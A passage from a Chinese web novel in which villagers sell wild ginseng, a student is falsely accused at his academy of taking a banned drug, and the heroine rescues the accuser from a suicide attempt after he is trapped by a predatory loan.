二百两给率先发现了人参的高娇娇和高春花分三成,六十两银子。 剩下七成,所有参与挖参的二十八人平分,每人五两银子。 对于这个分配方案,众人都没有异议,主要是高娇娇和高春花没有异议,其他人也不好意思有意见。 毕竟人参是人家发现的,人家要是藏着掖着自己偷摸挖了,他们也不知道,更别提分钱了。 高春花想着即将分到的三十两银子,就觉得挎包里的人参有些烫手。 说到底,这人参要不是姑姑,她根本找不到,更带不回来。 她包里这棵人参比那棵三十年的人参还要粗一些,应该会更值钱,大家这么多人分这点钱,她一个人独吞那么多,是不是不太合适啊? 高春花忍不住想把挎包里的人参拿出来,可手还没往外掏,就被高娇娇悄悄摁住了。 高春花吓了一跳,抬头看向高娇娇,见高娇娇冲她微微摇头,用眼神示意她不要往外拿,不由松开了抓着人参的手。 商量好了怎么分,众人准备散去时,有人突然来了句, “咱们要不要留一棵人参啊,听说这玩意儿要是得了重病重伤,只要一片就能吊着命。” 众人不由停下了脚步,都看向了高长天和朱钰。 朱钰皱了皱眉,暗骂这人多事,村里这么多人,一棵人参怎么分? 这家用几片,那家用几片,那没用到的岂不是觉得自己亏大了,要闹起来了? 高长天倒不觉得这人多嘴,只觉得自己没说到位,好言好语解释道, “人参不比咱自己种的萝卜白菜好保存,这是药,得炮制了才能长久保存。 咱们不是行家,万一没炮制好,就把人参毁了。 即便让小刘大夫他们炮制好了,保存起来也困难。 这东西娇贵的很,要是被老鼠偷吃了,咱们不亏大了?” 众人不由纷纷点头,还是里正考虑周全。 高春花觉得自己也该走了,可她又不知道自己私藏的那棵人参该怎么处理,要怎么找借口去城里,怎么解释这笔钱的来路。 高娇娇冲她使了个眼色,直接对高长天和朱钰道, “明儿我跟二哥他们一起进城,大宝他们不是要去并州府了嘛,我在城里等着,送送他们。” 高长天没多想,以为闺女舍不得大宝他们,当即就点头答应了。 朱钰瞟了眼今晚过分沉默,还莫名有点紧张的高春花,觉得她跟高娇娇之间肯定有猫腻。 不过小姑娘之间有点小秘密也平常,朱钰即便察觉到了也没多在意。 次日一早,高娇娇便带着高春花,跟着高二壮他们一起进城卖人参去了。 同行的还有刘一手,他上了车才知道要去卖人参,激动的差点没从车上跳起来,扯着嗓子吼, “人参多难得啊,你们居然要去卖掉? 你们想要多少钱,我给,把人参卖给我! 我们医馆有多少要多少.......” 高娇娇一把把他摁住,没好气道, “你再嚷嚷大点声,最好让十里八乡的人都知道,咱们村的人挖到人参了,就在后山的树林里。 然后人家都来咱们后山挖人参,挖不到就跑来咱们村里偷,偷不到就抢。 那咱们的日子过的可就热闹了,晚上睡觉都不敢把眼睛闭死,你就高兴了?” 刘一手被骂的说不出话来,垂头丧气地坐回了原位。 高娇娇打一棒给颗枣,又哄道, “这次就算了,以后我再挖到人参,一定给你留一棵。 咱们村里现在是真缺钱,你也看见了,又来了好些人,这么多张嘴都要吃要喝。 咱现在是真没那个家底把人参供着啊,不过你们医馆要用的参片啥的,该买就买,咱该省省该花花。” 刘一手被哄的不好意思红了脸,他一个大男人,不会连这点道理都不明白。 就是突然知道这个事,一时情急罢了。 第二百六十二章 占不到便宜 到了县城,高娇娇拦住了要直接去杏林堂的刘一手。 让高二壮他们分头把县城里的医馆跑一趟,问问现在的价钱。 杏林堂的掌柜不是个厚道人,很可能会压价,他们得有两手准备。 不出高娇娇所料,杏林堂给出的价比市价低了将近两成,气的刘一手当场就要发火。 这不是把他们当傻子坑吗? 哪儿有这样跟人合伙的? 高娇娇拉住刘一手,冲杏林堂掌柜皮笑肉不笑道, “胡掌柜既然不是诚心要,那我们就先不卖了。 反正我们也不缺钱,拿回去炮制了大家分分也挺好。” 说完,高娇娇拉着刘一手就要走,高二壮他们犹豫了下,也跟着转身。 胡掌柜见状,不由急了。 这年头兵荒马乱的人参可不好找,尤其还是这种上了年份根须完整的老参,难得遇上一回,自己没收到手,回头东家知道了,可没法交差。 “哎哎哎,你这小娘子,怎地脾气这般急,你这样的可谈不成生意。” 胡掌柜追出来想挽留,但嘴上还是一点也不肯吃亏。 说到底,他打从心眼里就看不上高娇娇这群乡下泥腿子,所以才会对他们这般不客气。 高娇娇对此心知肚明,脚步不停,毫不客气怼回去, “我不光脾气急,我火气还大,要不是看你年纪大,我一拳送你回老家。” 说着,抬脚踹了门槛一下。 “咔嚓!” 厚重的一尺来高的门槛,断了! 胡掌柜抱怨不满的话,不由瞬间咽回了肚子。 后知后觉感到了害怕,这小娘子真能一拳送他回老家啊! 高娇娇又踹了一脚,把断了的门槛直接踹烂,这才转身对胡掌柜道, “做开门迎客生意的,门槛别太高,当心摔着自己。 我帮你把门槛去了,好让你财源广进,你得谢谢我啊。” 胡掌柜看着碎成渣的门槛,眼皮直跳,勉强扯起嘴角道, “高娘子说的是,那就多谢高娘子了。 刚才是我人老眼花脑子糊涂记错了,三十年的人参我给一百三十两,二十年的我给八十两。 咱们毕竟是合伙做生意,我以后想要药材还得指着你们,亏了谁也不会亏了你们,是不是?” 见对方服了软,给出了高价,高娇娇也顺着台阶往下下,转身摆出笑脸道, “胡掌柜说的是,咱们毕竟是合伙,为求个长远,我们这人参就便宜卖给你了。” 胡掌柜笑不出来,他开的这个价比市价只高不低,以后在高娘子手里,只怕他是占不到一点便宜了。 卖了人参,揣着二百九十两银子,高二壮等人都很兴奋。 这可是意外之财,虽然村里并不会因为卖的价高给他们多分,但是公中有钱,就能更好的修路挖渠,建更多的作坊。 吴亮媳妇正张罗着开个杂货铺呢,高长天他们已经同意了,铺面由公中统一出钱建,自家只用筹备采买货物需要的银钱。 吴亮想着以后在自家就能买到油盐酱醋针头线脑,媳妇和孩子不用下地干活也能赚到钱,身上就有使不完的力气。 现在这日子真是越过越有滋味,越过越得劲。 其他人跟吴亮想法差不多,常铁柱尤为激动,里正说村里会负责把铁匠铺的一切都准备好,只要他肯出力好好干就行了。 常铁柱本来以为这是里正为了安抚他说的好听话,没想到居然是真的。 村里真的有钱,里正真的打算把所有东西都准备好,让他继续干铁匠。 自从到了石楼村,他时不时就想感叹,自己这命未免也太好了吧。 跟众人的兴奋激动不同,高娇娇依然很平静,高春花依旧很紧张。 高娇娇带着众人去了之前去过的鱼庄,让老板做了一桌最拿手的全鱼宴。 赚钱了当然要吃顿好的,顺便介绍高二壮他们跟老板认识一下,方便他们以后过来送鱼。 老板见高娇娇带人过来照顾他生意,特意送了一大盘烙饼,表示感谢。 高娇娇暗道老板真会做生意,难怪这种时候鱼庄的生意还能这么好。 吃饱喝足,高二壮就要带着吴亮常铁柱他们回去了,临走前要去粮铺采买一些高粱和大豆种子。 双水村的麦苗冻的太厉害,长势很不好,高长天和王里正想了很多办法也挽救不了。 为了降低损失,最后决定把麦苗铲了喂牲口,重新种些高产的粮食。 高粱和大豆亩产都比较高,也耐旱,适合双水村缺水干旱的坡地种植。 这些粮食种子,就当是石楼村欢迎双水村加入送的贺礼,白送给他们了。 高娇娇和高春花没去送高二壮他们,以收拾屋子为由回了小院。 见院里没别人了,高春花迫不及待问高娇娇, “姑姑,我这棵人参怎么卖啊?还是送到杏林堂吗?” “急什么,等着,我去前头铺子转一圈,一会儿就给你卖了。” 高娇娇从一开始就没想过要把这棵人参卖到医馆,这笔银子她打算给高春花压箱底的,不想被任何人知道。 所以她不会去医馆,岚县是个小地方,任何一个行业的圈子都很小。 他们去杏林堂一下子卖了三棵人参就已经够引人注意了,再偷偷摸摸卖一棵,只会引发不必要的猜测和麻烦。 还不如找个有钱的大户人家卖掉,悄无声息,谁也不知道。 去前头铺子问了问,让他们帮着透个口风出去,傍晚就有人来敲门了。 高娇娇打开门,见是个老管家,忙行了一礼。 老管家是个爽快人,问清高娇娇知道这棵人参来路没问题,亲眼看了看,上手检查了下人参的品质,满意点头。 双方讨价还价了一番,最终以一百两的价钱成交。 送走老管家,高春花有些惋惜感叹道, “这棵人参要是根须完整,保存得当,应该能卖到比那棵三十年人参更高的价。” “行了,一百两也不少了,你收好,明天去街上买些自己喜欢的,我去书院一趟。” 高娇娇把银票塞给高春花,这一百两要是在村里生活,没病没灾都够一辈子花销了。 高春花不好意思笑了笑,她是被上午卖人参影响的,变得贪心了。 不过,姑姑去书院干嘛? 杜衡他们不是刚回来过吗? 高娇娇推说去送本书,说杜衡有本书落在家里了。 其实是想去问问杜有才那边的情况,在城里偶遇杜有才,给杜有才挖了个坑的事,高娇娇没有告诉家里任何人。 一是说了也是无用,杜有才已经走了,还会不会再来岚县都不知道。 而是不自知无罪,万一她失手翻车,杜有才那头追究起来,家里人不知道也不会被她连累。 尽管这种可能性很小,但高娇娇还是习惯把潜在危险扼杀在摇篮里。 从本质上来说,她是个非常保守,谨小慎微的人,不喜欢冒险,喜欢安稳的人。 只是朱钰不赞成这点,总是试图挑起她不安分的那一面。 九川书院,杜衡下了学,正和凌十三、徐六等人一起在食堂吃饭,有人突然指着他大喊, “你刚往碗里放的什么粉末?难道是逍遥散?” 众人哗然,逍遥散可是禁药,杜衡居然敢在大庭广众之下服用,怕不是疯了吧? 其实前朝时,逍遥散还不是禁药,而被当成一种仙药丹方,备受文人墨客推崇。 逍遥散是用丹砂、雄黄、白矾、曾青、慈石等磨粉制成,服用后能驱散身上寒气,提升阳气,使人精神振奋,飘飘欲仙。 但后来人们逐渐发现,逍遥散容易上瘾,吃多了会让人状若疯癫,无法自控。 所以今朝建立之后,就把逍遥散当成了禁药,不许人随意配制服用,尤其是官员,一旦发现,立即革职。 作为官员预备役的学子们,自然也不敢沾染这种东西,书院更是明令禁止,不许任何学子偷买偷用,一旦发现,立即开除。 杜衡居然敢在大庭广众之下磕,怕不是疯了吧? 第二百六十三章 当众污蔑 一时间,所有人都看向了杜衡。 杜衡看着横眉怒指他的那人,一字眉,马脸,干瘪瘦高,看着有点眼熟,却想不起是谁。 离他们有一丈来远,中间隔了三排座椅的人,突然发作,张口就是逍遥散,看着来者不善啊。 可他手里是虾粉,不是逍遥散,只需稍微辨认一下,就能解释清楚。 这么明显的污蔑,总不会是单纯看他不顺眼吧? 杜衡不由想到了杜有才,杜有才来了岚县却没找他麻烦,他一直觉得奇怪来着。 现在突然冒出来这么一个人,当众污蔑他,难道这就是杜有才的安排? 那这个安排未免也太拙劣了吧,还不如在考场污蔑他抄袭那次做的缜密呢。 凌十三心里可没杜衡这么多弯弯绕绕,见有人朝杜衡身上泼脏水,一拍桌子就站了起来,指着那个马脸吼, “呔,姓马的鸟人,你少胡说八道!” 杜衡顿时想起来这人是谁了,原来是跟他同班的马飞翼啊。 在他来之前,马飞翼一直都是甲班的第一,他来之后,马飞翼就再也没考过第一。 所以马飞翼视他为劲敌,看他十分不顺眼,但凡正面遇上,总是仰着下巴对他嗤之以鼻。 还拉拢班里的同窗,一起孤立他。 对于这种程度的排挤,杜衡毫不在意,还觉得清净点挺好。 只是没想到,看着那么孤傲清高的马飞翼,会突然当众污蔑他。 马飞翼被凌十三怒目圆瞪,丝毫不惧,指着杜衡手里的小瓷瓶,大声道, “他手里拿的就是逍遥散,我亲眼看到他往碗里倒了粉末。” “你说是就是,我说你是个鸟人,你还真是个鸟人不成?” 凌十三脖子一梗就想撸袖子,这鸟人敢污蔑他兄弟,真是活腻味了。 马飞翼好似受到了极大的羞辱,马脸涨的通红,指着凌十三,手指不停颤抖, “你少嘴里不干不净,像你这般不学无术之徒,压根就不该进书院,平白污了这书香圣地。” 这话徐六可不爱听,凌十三好歹还是考进来的,他完全是靠他老子舔着老脸求爷爷告奶奶才进来的。 凌十三要是都不配在书院读书,他岂不是更不配? 都是兄弟,他哪儿能看着兄弟被人欺负? 于是,徐六一脚踹翻了凳子,指着马飞翼吼, “平白无故挑事的是你,不是我兄弟。 他骂你怎么了?谁让你犯贱。 看见人家往碗里倒东西,就说人家吃了逍遥散。 那我还看见你去了茅房半天不出来,那我是不是就能跟人说,你去吃屎了?” 跟徐六要好的几人,顿时哄堂大笑,拍桌子踢板凳,恨不得把桌子掀翻了给兄弟助助兴。 凌十三见自己这边人多势众,士气高涨,不由得意洋洋,刚要开口再嘲讽马飞翼几句,却被杜衡捏住了手臂。 见杜衡冲自己微微摇头,凌十三不解又生气。 不是,兄弟,人家都把脏水泼到你头上了,你还想当圣人不成? 杜衡不是想当圣人,只是觉得不能做的太过分。 他自从进了书院就只跟凌十三一人走得近,最近因为凌十三跟徐六他们也算是点头之交了。 这个时候,他要是仗着凌十三和徐六等人,把马飞翼打压下去,反倒容易被人怀疑是不是真磕了逍遥散。 毕竟徐六几人的名声,实在是不太好,平日里偷懒耍滑欺压同窗的事可没少干,他不能不明不白就被当成他们一伙的了。 所以杜衡急忙制止了凌十三,起身主动解释道, “马兄误会了,这个瓷瓶里装的是我家里人自制的虾粉,放入汤里会让汤的味道更鲜甜。” 马飞翼撇嘴,冷声嘲讽道, “你说是虾粉就是虾粉了?我还从没见有人吃了虾做的东西,会兴奋地摇头摆尾,乱跑乱跳,还解衣敞怀的。” 众人听到这话不由议论纷纷,这个样子正是磕了逍遥散的表现啊。 莫非杜衡在说谎? 杜衡眯了眯眼睛,盯着马飞翼问, “不知马兄说的吃过之后摇头摆尾乱跑乱跳的人是谁? 你又是在何时何地看到的呢?” 马飞翼略显得意,抬着下巴道, “想要人不知除非己莫为,你们自己做过的事,最好自己说出来,免得脏了我的嘴。” 凌十三实在受不了马飞翼的阴阳怪气,当即就要承认自己和徐六昨晚偷喝了酒。 徐六放不下小桃红,心里不痛快,他一时义气上头想陪陪兄弟,就花高价从食堂大师傅那里买了一坛酒。 喝多了,俩人比划了下拳脚,出了一身汗,就把外衣敞开凉快凉快。 居然会被人当成嗑药发疯,真是岂有此理! 可不待凌十三开口,杜衡就抢先开口道, “马兄既然不肯说,我也就不问了。 但这真的是虾粉,不是逍遥散,马兄若是不信,过来一看便知。 这碗汤我刚才已经喝了两口,并没出现马兄所说的癫狂之状。” 说完,就把小瓷瓶打开,递给周围人。 马飞翼见杜衡不跟他对质,急忙道, “我亲眼所见还能有假? 谁知道你是不是偷梁换柱,早就把瓷瓶里的东西换掉了。” 杜衡微微一笑,眼底冰冷锐利, “虽说眼见为实,耳听为虚,但衙门判案都还讲究个证据。 马兄不妨说说,你说的状若疯癫之人究竟是谁,又是在何时何地做出此等不雅之举。 当时除了你,可还有旁人看到? 既然看到,为何不禀报夫子,为何非要在这个时候,当众污蔑我呢?” 马飞翼吞吞吐吐说不成话,他只是想让大家看清杜衡的真面目,不想招惹徐六那头疯狗。 徐六也意识到马飞翼看到的是他和凌十三,知道杜衡拦着凌十三是不想他们喝酒的事暴露。 心里对杜衡这个人不由高看了一眼,似笑非笑冲马飞翼道, “衙门判案讲究人证物证俱在,你空口白牙就说人家服用禁药,人家愿意当众验证,你还不信。 怎地? 你就非得无中生有,让杜衡背了这口黑锅是吧? 那我怀疑你公报私仇,当众污蔑杜衡,是不是就能去衙门告你?” 徐六同伴也跟着阴阳怪气道, “我看某人啊,就是嫉妒,考不过人家,就想污蔑造谣坏了人家的名声。 哎,我身边要是有这种人,晚上睡觉都得睁只眼。 万一哪天得罪了人家,人家指不定给我扣个什么罪名呢。” 徐六夸张地抖了下肩膀,急忙冲马飞翼行了个礼,一脸讥笑道, “马大才子恕罪恕罪,我这人不会说话,万一有哪里得罪了您老人家,您可千万不要记仇。 该打打该骂骂,有事儿咱们说到明面上,万万不敢背地里整我啊。 我这人不学无术脑子蠢笨,可斗不过你们这种精明人。” 徐六的同伙哈哈大笑,其他人也忍俊不禁。 马飞翼知道他们是故意嘲讽他,可看了杜衡瓷瓶的人都说里头就是虾粉,他骑虎难下,只能僵着脸坐回了原位。 杜衡拦住了还想继续嘲讽的凌十三和徐六等人,得理不饶人,会显得他们咄咄逼人。 事情闹大,引来夫子,查到偷喝酒的事,只会给自己惹麻烦。 凌十三和徐六看在杜衡的面子上,没再多说什么,但俩人已经不约而同做了决定——找机会把马飞翼踹到茅坑里,让他吃个够。 谁让他惹谁不好,飞来惹他们。 一场闹剧,随着午饭时间结束,好像就过去了。 但杜衡这心却还悬着,他觉得如果这件事是杜有才的手笔,就不会这么轻易过去。 他不知道杜有才还有什么后手等着他,只能悄悄提醒凌十三,让他跟徐六那些人近期都要谨言慎行小心行事。 第二百六十四章 惊艳 凌十三觉得杜衡太看得起杜有才了,他可听徐六说了,知县大人那边已经确认知府那头根本不理会杜有才的事,明日就准备把那几车药材送去给平叛大军了。 杜有才平白损失了上千两银子的货,还丢尽了脸,现在只怕正焦头烂额呢,哪儿还有功夫管杜衡这头。 杜衡觉得杜有才那般恨他,来了岚县不可能对他什么都不做,小心驶得万年船,还是不能放松警惕。 俩人正嘀嘀咕咕,门房过来喊,说有人来找。 杜衡愣了一下,想到高娇娇,急忙跑到了门口。 高娇娇本想着早点过来的,结果高春花拉住她一同去买东西,说自己一个人不敢去。 高娇娇见她确实不敢,想着她一个姑娘拿这么多银子逛街是有点不安全,便陪她去了。 高春花这也想买,那也想要,拉着高娇娇走了三条街,从上午一直逛到了中午。 走的高娇娇脚底板生疼,好不容易劝住了高春花明日继续,这才得空来了书院。 看到高娇娇的第一眼,杜衡眼中满是惊艳,本来急匆匆的脚步不由自主停住了。 阳光下,春风里,身穿浅粉色绣花罗衫,湖蓝色长裙的姑娘,白里透红的脸颊上泛起一对梨涡,眼眉弯弯的模样,比那枝头盛放的杏花更娇俏动人。 高娇娇眯着眼睛,抬起帕子挡着刺眼的阳光,看到杜衡出来,忙招手冲他喊, “小衡,快来,你落在家里的字帖我给你送来了。” 杜衡怔了下,忙配合着做出一脸高兴,快步走到门口栅栏前, “那可太好了,我正等着用呢。” 俩人隔着栅栏门,在看门老大爷的打量中,假模假样说了几句字帖的事。 见大爷转过头去,忙压低声音说了说杜有才的事。 得知杜有才已经离开,几车药材即将被知县送给平叛军,高娇娇心里很是痛快。 没了知府这边做靠山,杜有才就是个纸老虎,根本不足为惧。 打听到最想知道的消息了,高娇娇便让杜衡赶紧回去。 杜衡得知高娇娇要在小院住两天,等送完高大宝再回村,心里不由有点痒痒,忍不住对高娇娇抱怨道, “我们端午节可能不放假,我怕是不能跟你们一起过节了。” 高娇娇刚想说端午节有什么重要的,在不在一起过都行。 可看到杜衡郁闷的表情,想到这里的人跟她不一样,很重视节日,忙改口道, “我看街上有卖过端午的东西了,明儿我好好找找,要是有那卖香囊五色线粽子什么的,就给你买一点送过来,你跟十三他们一起过节,可好?” 杜衡想要的就是再见高娇娇一面,但他不直接点头,而是有些不好意思道, “这,会不会太麻烦嫂嫂了?” “不麻烦,我就住在小院,又不远,随便溜达着就过来了。” 高娇娇没想那么多,很是豪爽道。 杜衡开心地笑了起来,眉眼如画,唇红齿白,纯净明亮笑容比阳光都耀眼,让高娇娇不禁也跟着笑了起来。 看门老大爷看到杜衡和高娇娇相视而笑,也不由扬起了唇角。 还是小夫妻感情好,男的俊女的俏,都长得好,看着就赏心悦目的很。 “嫂嫂,嫂嫂,你又来给我们送啥好吃的了?” 凌十三过于呱噪的喊声,打破了这一刻的美好,也让老大爷很是不满地瞪着他骂道, “你是哪个班的?姓甚名谁?大呼小叫成何体统?” 凌十三愣住,大爷这是哪儿来的火气? 他前些时候还给大爷送过肉呢,怎么一眨眼就不记得他了,还看他不顺眼了呢? “凌十三,你跑那么快干嘛?到底谁来找杜衡啊?你——” 徐六紧跟其后,大呼小叫着跑了过来,却在看到高娇娇的瞬间,突然失了声。 凌十三嫌弃地白了徐六一眼, “你跟过来干啥?” 徐六两只眼黏在了高娇娇身上,走路都有些打飘,晃晃悠悠冲到凌十三跟前,拉着他,激动问道, “这位小娘子是谁啊?长得可真俊俏。” 高娇娇愣住,这是打哪儿来的登徒子? 杜衡脸色隐隐有些发黑,徐六这个色痞流氓,再盯着他嫂嫂看,他非把他眼珠子挖出来! 凌十三吓的赶紧捂住徐六的嘴,压低声音警告, “你可别找死,她是杜衡的嫂嫂,一拳能打死一头牛。” 徐六难以置信地瞪大了眼睛,看看高娇娇,这才留意到她挽着妇人髻,但看脸真的很显小。 而且个头不高,身形窈窕,小脸圆圆,白嫩嫩,粉扑扑的样子,一拳能打死一头牛? 凌十三怕不是在诓他吧? 凌十三读懂了徐六眼中的质疑,十分肯定道, “我在她手里撑不过十招,你不想死,就赶紧收起你那色眯眯的死样子,她真是杜衡亲大嫂。” 徐六打了个寒噤,看来是真的了。 他的命怎么就那么苦啊,生平头一回看上了个良家女子,已经嫁了人不说,还是个凶悍罗刹。 难道他这辈子注定要娶家里给安排的女人,跟那种大字不识几个,只知道遵从三从四德,嘴里满是祖宗家法,动不动就劝他读书上进的女人过一辈子? 他想娶个自己喜欢的,怎么就那么难啊? 徐六难受,想哭。 杜衡努力收回想杀死徐六的锐利眼神,换上温和神情冲高娇娇道, “嫂嫂不用理会他们,他们脑子有病,你有事且去忙吧。” 高娇娇有点不放心,凑近些小声叮嘱杜衡道, “近朱者赤近墨者黑,你交友得谨慎点,别跟着学坏了啊。” 杜衡因为高娇娇靠近,不由红了耳根,想躲开些,又怕唐突了高娇娇,只得强忍着心里的酥麻,故作镇定道, “嫂嫂放心,我有分寸。” 高娇娇知道杜衡的为人,便没再多说什么,转身准备走人。 凌十三见高娇娇这就要走了,忙松开徐六,扑到栅栏门上,伸长胳膊招手喊, “嫂嫂别走啊,你别光给杜衡一个人捎东西啊,也想着我点啊。 我想吃东街那家的大肉包子,嫂嫂你给我多买几个呗。” 高娇娇回头,礼貌微笑拒绝, “你少吃点吧,吃的太饱了容易犯困,影响读书,还容易长胖。 你要是长得太胖了,你娘肯定不相信你读书用功了,所以,你还是别吃了吧。” 杜衡翘起了嘴角,他喜欢这种明晃晃的偏心,不喜欢自己在嫂嫂那里跟旁人一个样。 凌十三很是委屈,抓着栅栏连声道, “嫂嫂你是不知道,你给我们带的好吃的,都被杜衡收着。 他每天只给我只一点点,还跟防贼一样防着我。 要不是他为了怕我偷吃,把虾粉装到瓷瓶里,也不会被人当成逍遥散.........” 杜衡又气又急,扑上去急忙捂住凌十三的嘴,可高娇娇已经听到了,脸色顿时沉了下来, “杜衡,你放开凌十三,让他说完。” “嫂嫂,事情已经解决了,就是一场误会,没事的,你别担心,我没受欺负。” 杜衡说着,就硬拖着凌十三往回走,还不忘扭头冲高娇娇嚷, “我们得赶紧回去了,嫂嫂也赶紧回去吧,这会儿太阳大,晒的很。” 高娇娇看着杜衡拖着凌十三走的飞快,无奈抿了抿唇。 看来事情有点麻烦,要不杜衡不会那么着急拦着凌十三,但看杜衡那样子不像是被人欺负了,那就只有一种可能。 这件事跟杜有才有关! 第二百六十五章 救人 高娇娇不放心,但又进不去书院,就在书院外围打转。 走走停停,绕着书院走了一大圈,高娇娇捶着酸疼的腿,坐在院墙外的树林里歇息。 看着书院高大的围墙,还有围墙下方一人多宽两人多高的深沟,高娇娇不由怀疑自己是不是想多了。 就这防守,一般人根本别想进去。 杜有才就是个药贩子,还没手眼通天到能指使书院里的学子吧。 眼看天色已经不早了,高娇娇起身拍了拍土,决定回家。 还没走出几步,就听到墙内传来呜咽声,她忙抱着靠近院墙的一棵树,把大半身子探出去,竖起耳朵仔细听。 里面除了呜咽声,还有拳打脚踢声,听着像是一个人在打另一个人,被打的那个人蜷缩着身子在哭。 他们似乎也很怕惊动旁人,都压低了声音,连哭的那个都好像在咬着唇,哭的支离破碎,听着可怜的很。 过了会儿,拳打脚踢声停了下来,打人的恶狠狠道, “识相的就赶紧还钱,要不然闹到山长那儿,让你吃不完兜着走。” 被打那个求饶道, “我实在是没钱,你再宽限我几天。” 回应他的是一记重拳,疼的求饶那人闷哼了声。 威胁那人又道, “最迟明天傍晚,你再不还钱,我就去山长那里告你借印子钱。” 脚步声走远,只剩求饶那人痛苦呜咽。 高娇娇很是失望,费这么大劲儿听了个墙角,结果就这? 站直身子,高娇娇准备走人,忽然听到院墙处传来窸窸窣窣的动静。 抬眼一看,右侧院墙旁探出一丛牡丹花枝的下方,逐渐露出来一个洞。 高娇娇不由瞪大了眼睛,好家伙,这里居然有个狗洞。 她赶忙找了个大树后面躲着,只见那个洞口渐渐被挖开,然后一个瘦长条的人钻了出来。 这人不光体型瘦长,脸也很长,眉毛还是一字,眉头拧起,眼睛红肿,鼻子下面还挂着一道鼻涕,看着好笑又可怜。 从洞里钻出来后,瘦高个左右张望了一番,从怀里掏出一根细绳,他先在绳子一端绑上石块,然后将石块投掷到沟对面的歪脖子树杈上。 石块卡在了树杈中间,他扥了两下,觉得没问题了,拉着绳子用力一荡。 然后, 掉沟里了。 高娇娇用力抿着唇,生怕自己笑出声来。 她还以为这小子是个高手,没想到是个生手。 这下好了,那么深的沟,两侧还是铺了石板的光滑斜坡,她都不一定能爬出来。 这小子瘦的跟竹竿一样,看着手上就没劲,怕是更爬不出来了。 马飞翼在沟里扑通了好一会儿,眼看天色越来越暗,自己却怎么也爬不上去。 不由悲从心来,干脆一屁股坐在沟底,捂着脸呜呜哭了起来。 他至今都不明白,自己怎么就落到了这步田地。 上次放假回去,见老娘还是咳的厉害,他好说歹说带着老娘去了医馆。 大夫说他老娘是肺肾阴虚积劳成疾,需得好好调养,不然很快就会加重成肺痨。 给开了固肺汤和月华丸,说起码要吃三个疗程才能起效,想要痊愈月华丸得持续吃小半年。 老娘一听要吃那么久的药,当即就说她这是老毛病了不要紧,不肯治了要回家。 马飞翼哪里肯,一旦成了肺痨那可就再也治不好了,他就剩老娘一个亲人了,万万不能让她出事。 好说歹说劝住了老娘,把攒下的五两银子给了大夫,买了一个疗程的药。 他本以为五两银子起码够三个疗程了,哪知现在药材涨价的厉害,原本够三个疗程的药费,只够一个疗程了。 实在没办法,马飞翼只好找人借钱,不然他一去书院半个月,老娘接下来的药费没着落。 可跟他关系最亲近,同住在胡同里的同窗说没钱,他只能厚着脸皮去找家里开绸缎铺子的同窗试试看。 结果连人家的面都没见着,就被看门小厮撵了出来。 马飞翼又气又恼又无助,只能跟个游魂一样在街上晃悠,希望能遇到好心人帮他一把。 然后一不小心撞到了别人的马车,还差点被马踩断腿。 车里从并州府来的杜公子是个大好人,知道他的难处后,不仅没责怪他,还主动借给他十两银子。 说他孝心可嘉,人品可靠,愿意相信他,还说等他什么时候手头宽裕了再还就行。 马飞翼感激不尽,连连道谢,坚持要给杜公子写下借据。 他是九川书院甲班的优等生,上学不仅不用花一文钱,每个月有二两银子的最高助学金。 他可以一文不花全部攒下,再帮人抄书赚钱,最迟半年,一定会如数还上借款。 杜公子得知他在九川书院就读,很感兴趣,向他打听起杜衡来。 马飞翼最讨厌的人莫过于杜衡,自从杜衡进入书院,不仅夫子们对他另眼相看,就连跟他交好的那些人,也对杜衡赞不绝口。 个个都夸他少年天才,过目不忘,全然忘了他才是甲班考第一最多的人。 在杜衡没来之前,他已经连着考了五次第一了。 怎么杜衡一来,他就好像整个都被比下去。 要是他也有夫子开小灶,也有郑师兄暗中指点,他肯定不会比杜衡差! 杜公子察觉到他对杜衡的不满,非但没有责怪他,还十分理解他的心情,告诉了他一些关于杜衡的事。 他这才知道那个看着纯良无害的杜衡,居然是个连亲大伯亲堂兄都陷害的无耻之徒。 为了报答杜公子,也为了让大家都看清杜衡的真面目,他才时时刻刻盯着杜衡和他跟班凌十三。 然后果真发现了异样,就赶紧当众揭发了出来。 结果,杜衡三言两语扭转局面,他成了污蔑同窗的小人,备受嘲笑。 这也就罢了,从没打过交道丁班的牛安,居然拿着他亲手写给杜公子的借据找他要钱。 还说他借的是一日五分利的印子钱,按利滚利算,他要是借一年就要还杜公子六十多两银子了。 他倾家荡产也还不上,只能赶紧回家想办法凑钱。 哪知,好不容易打听到出去的法子,想方设法弄来了绳子,结果掉进沟里爬不上去了。 要是明天还不上,牛安拿着借据去找山长,山长知道他借了高利贷,肯定会按照书院规定将他开除的。 他要是被开除了,就再也不能读书考功名,也照顾不了老娘了。 他和老娘会饿死冻死,连这个冬天都熬不过去吧。 越想越绝望,马飞翼觉得与其身败名裂,不如现在就死了算了。 他呜呜哭着将绳子绑成一个套,然后踩着石板,踮起脚尖把头伸了进去,哭着喊了声, “娘,儿对不起你,儿先走一步了!” 说着,脚尖一抬身体腾空,脖子上的绳套勒紧,瞬间喘不过气来。 高娇娇听到瘦高个哭着喊了声,顿觉不对,赶忙跑过来,就看到这家伙居然在沟里上吊了。 吓的高娇娇慌了手脚,本能抓起绳子就想把瘦高个拉上来,刚一拉就听到瘦高个闷哼了声,见他本就青紫憋胀的脸上已经翻起了白眼。 高娇娇赶忙松手,手忙脚乱掏出匕首把绳子割断。 扑通一声响,瘦高个掉回了沟里。 第二百六十六章 差点成了恶人 高娇娇趴在上头喊, “喂,你还好吗?还活着吗?” 马飞翼捂着脖子,撕心裂肺地咳了起来。 高娇娇一看还有气,不由放松下来,没好气骂道, “男子汉大丈夫,动不动就寻死觅活,你可真有出息。” 马飞翼咳的一脸眼泪,透过模糊的视线看着坐在沟边骂他的姑娘,忍不住更想哭了。 他这二十三年的脸,都在今天丢完了。 呜呜呜,呜呜呜........ 高娇娇被哭的心烦,随手抓起一块石头砸了过去,低吼道, “吵死了!” 马飞翼看着险些砸到自己额头的石头,吓的顿时不敢再哭了。 这姑娘心肠挺好,就是有点凶。 高娇娇抿着唇板着脸,凶巴巴道, “说吧,为啥哭?为啥要寻死?” 马飞翼看着脸色很凶,但是眼睛黑白分明的高娇娇,不知是压在心里实在憋得难受,还是已经丢脸成这样了,干脆破罐破摔。 把自己这两天的遭遇,一股脑说了出来,说完还冲高娇娇道, “多谢姑娘救我,可我真是活不下去了,还请姑娘成全,让我死个痛快吧。” 说完,又忍不住哭了起来。 高娇娇听完,不由后背发凉,汗毛倒立。 她还真是小看杜有才了,这家伙现在居然这么阴险狠毒。 今晚要不是她恰好遇上马飞翼,恰好救了他,马飞翼真有可能被杜有才给逼死了。 可是书院里除了那个牛安,没人知道这是杜有才设的局,甚至牛安也不一定知道这是杜有才的算计。 